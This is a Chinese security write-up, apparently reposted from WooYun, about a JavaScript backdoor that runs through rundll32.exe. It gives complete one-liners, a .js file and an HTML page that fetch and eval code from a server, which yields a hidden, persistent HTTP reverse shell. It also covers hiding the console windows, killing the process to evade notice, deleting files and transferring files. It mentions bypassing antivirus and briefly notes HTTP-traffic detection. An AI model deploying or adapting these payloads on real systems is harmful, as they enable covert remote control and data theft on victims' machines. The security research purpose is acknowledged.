<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/11764

            0x00 前言


            Casey Smith最近在Twitter分享了他的研究成果,執行一段JavaScript代碼即可反彈一個Http Shell,很是奇妙,所以就對這個技術做了進一步研究。

            Alt text

            0x01 簡介


            Alt text

            從截圖我們可以看到該技術的使用方法,在cmd下利用rundll32.exe加載JavaScript代碼,代碼運行后會反彈一個Http Shell,而特別的地方在于當運行完cmd命令后,后臺會一直存在進程rundll32.exe用來同Server持續連接,整個過程不需要寫入文件,隱蔽性大大提高。

            0x02 測試環境


            Server:

            #!bash
            OS:Win7 x64
            IP:192.168.174.131
            

            Client:

            #!bash
            OS:Win7 x86
            IP:192.168.174.130
            

            下載鏈接:
            https://gist.github.com/subTee/f1603fa5c15d5f8825c0

            0x03 實際測試


            1、Server啟動服務,監聽端口

            需要將下載腳本中的IP修改為當前主機IP

            管理員運行

            2、Client加載JavaScript指令

            #!bash
            rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);h.Send();B=h.ResponseText;eval(B)
            

            3、Server彈回Shell

            可以執行cmd命令并獲得回顯

            Alt text

            0x04 測試中的Bug


            1、連接超時

            Alt text

            在成功返回shell后,如果在后臺等待一段時間,Clinet就會彈出超時連接的對話框

            Alt text

            從截圖可以看到Casey Smith已經發現了連接超時的問題,所以在新版本已經做了修正,加上window.setTimeout來避免連接超時的錯誤,在message內加了超時判斷(message存儲用于實現Client后續連接的代碼,具體細節一看代碼就明白),但是這樣做還遠遠不夠。

            2、進程殘留

            如果Server退出,Clinet還會存在rundll32.exe進程

            3、執行cmd命令會彈黑框

            如果是立即回顯的cmd命令,黑框一閃而過

            如果是systeminfo這種需要等待的cmd命令,會一直彈出cmd 執行的黑框,等到執行完畢才會退出

            4、執行exe會阻塞

            比如執行calc.exe,server端會阻塞,直到關閉calc.exe進程才會恢復正常

            如圖

            Alt text

            5、無法刪除文件

            如圖

            Alt text

            Alt text

            6、server端無法正常退出

            想退出只能強行關閉當前cmd.exe

            7、無法上傳下載文件

            0x05 優化思路


            1、對setTimeout的解釋

            查詢相關資料如下:
            https://msdn.microsoft.com/en-us/library/windows/desktop/aa384061(v=vs.85).aspx

            文中提到了JavaScript實現WinHttpRequest的用法,如圖

            Alt text

            setTimeout用來設置http的超時時間,如果全為0,代表no time-out,也就是無限期

            注:
            在Casey Smith發布的第一個版本尚未修復該方法的時候,我解決該方法的思路是參照微軟的方法,對應到代碼中就是添加
            h.SetTimeouts(0, 0, 0, 0);即可

            2、增加try catch方法處理錯誤消息

            Casey Smith在代碼中雖然加入了超時判斷,但沒有對其他可能產生的意外錯誤做判斷,所以需要添加try catch對錯誤消息進行響應。

            try catch不僅能夠解決上述問題中的Bug1,同樣能用來判斷輸入的命令能否成功執行(比如輸錯命令或輸錯路徑)

            (相關細節可參照結尾提供的參考代碼)

            查詢相關資料如下:
            http://blog.csdn.net/qdfeitian/article/details/6371146

            3、使用taskkill解決進程殘留的問題

            Clinet可以使用taskkill來結束自身進程,自動退出

            #!js
            new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe")
            

            4、WScript.Shell對象run和exec的區別

            參考資料:

            為了獲得cmd命令的回顯,Casey Smith采用的方法是使用exec方法,因為只有exec方法的返回值是一個對象,才可以獲得控制臺輸出信息和控制臺錯誤信息

            而run方法的返回值是一個整數,就是0或1成功和失敗兩個狀態

            但是使用exec方法也有一些弊端,比如測試中的bug3和bug4,這是exec方法本身所無法解決的問題。

            而如果使用run方法可以解決bug4

            綜上,解決思路是對輸入的內容做判斷,如果是cmd命令,使用exec方法;如果是執行exe,使用run方法

            5、解決使用run方法執行命令會彈黑框的問題

            參考資料:
            https://msdn.microsoft.com/zh-cn/library/d5fk67ky(en-us,VS.85).aspx

            如圖

            Alt text

            run方法其實后面還可以加參數指示該窗口能否被看見

            所以在執行比如taskkill的命令就可以使用

            #!js
            new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true)
            

            避免彈出黑框

            注:
            intWindowStyle參數的說明中提到“Note that not all programs make use of this information.”
            例子之一就是用run方法來執行systeminfo這種需要等待的cmd命令是無法隱藏窗口的

            6、如何隱蔽執行systeminfo并獲取回顯

            參考了如下資料:
            WooYun: 搜狗瀏覽器遠程命令執行之五 "> WooYun: 搜狗瀏覽器遠程命令執行之五

            如果使用exec方法,雖然可以獲取到回顯,但是利用window.moveTo(-1000,-1000)無法移動彈出的黑框

            而使用run方法雖然可以移動彈出的黑框,但是無法獲得回顯

            綜合這兩種方法,最后我們只能退而求其次,使用run方法將執行命令回顯的結果輸出到文件中,然后再通過讀取文件來獲取結果

            具體實現如下:

            (1)使用run方法將systeminfo回顯的結果輸出到文件中c\test\a.txt

            示例代碼:

            #!js
            new ActiveXObject("WScript.Shell").Run("cmd /c systeminfo >>c\test\a.txt",0,true)
            

            (2)讀取文件并回傳

            示例代碼:

            #!js
            fso1=new ActiveXObject("Scripting.FileSystemObject");
            f=fso1.OpenTextFile(d,1);
            g=f.ReadAll();
            f.Close();
            

            通過調用new ActiveXObject("Scripting.FileSystemObject")讀取回顯內容,然后再回傳信息

            (相關細節可參照結尾提供的參考代碼)

            7、解決連接超時的問題

            通過以上的分析,如果要解決連接超時的問題,需要對Clinet執行的命令添加如下功能:

            1. 捕獲錯誤消息
            2. 進程自動退出
            3. 全過程不彈黑框

            所以Clinet執行的命令最終優化為:

            #!bash
            rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e{new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
            

            8、解決server端無法正常退出

            加入exit命令判斷,如果輸入exit,那么Client調用taskkill結束自身,Server同樣執行exit退出

            (相關細節可參照結尾提供的參考代碼)

            9、解決刪除文件的問題

            通過調用new ActiveXObject("Scripting.FileSystemObject")實現

            示例代碼:

            #!js
            fso1=new ActiveXObject("Scripting.FileSystemObject");
            f =fso1.GetFile(d);
            f.Delete();
            

            (相關細節可參照結尾提供的參考代碼)

            10、解決文件上傳下載

            示例如圖:

            Alt text

            示例代碼可以實現簡單的文件上傳下載,但里面存在一個小bug,如果你投入精力,不難解決

            0x06 補充


            1、白名單進程,免疫殺毒軟件

            由于是通過rundll.exe調用的代碼,所以殺毒軟件會放行,不會攔截

            2、檢測

            通信協議使用HTTP,通過防火墻攔截流量即可發現其中的攻擊行為

            3、更多加載方式

            (1)js文件

            可以放在js文件里面 雙擊js文件執行

            #!js
            h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
            h.Open("GET","http://192.168.174.131/connect",false);
            try{
            h.Send();
            B=h.ResponseText;
            eval(B);
            }
            catch(e)
            {
            new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im wscript.exe",0,true);
            }
            

            后臺進程為wscript.exe

            (2)嘗試掛在網頁里面

            #!html
            <!doctype html public "-//w3c//dtd html 4.0 transitional//en">
            <html>
            <head>
             <title> new document </title>
             <meta name="generator" content="editplus">
             <meta name="author" content="">
             <meta name="keywords" content="">
             <meta name="description" content="">
             <script language="javascript" type="text/javascript">
            h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
            h.Open("GET","http://192.168.174.131/connect",false);
            h.Send();
            B=h.ResponseText;
            eval(B);
            </script>
            </head>
            <body>
            </body>
            </html>
            

            使用ie打開會提示是否加載控件,如果允許,即可彈回shell

            Chrome、Firefox不支持ActiveXObject,所以不會觸發

            0x07 小結


            我在Casey Smith的基礎上,對其代碼做了進一步優化,對JavaScript Backdoor技術做了進一步研究,感謝他的無私分享,才有了我的這篇文章。

            我開發的代碼已上傳到github,下載鏈接:
            https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1

            歡迎下載測試,交流學習。

            支持的功能如圖

            Alt text

            注:
            本文僅用來學習交流JavaScript Backdoor技術,并提供了檢測方法
            同時在文件上傳下載的功能上留下了bug,距實際使用還有一點距離,以避免該方法被濫用。

            本文由三好學生原創并首發于烏云drops,轉載請注明

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线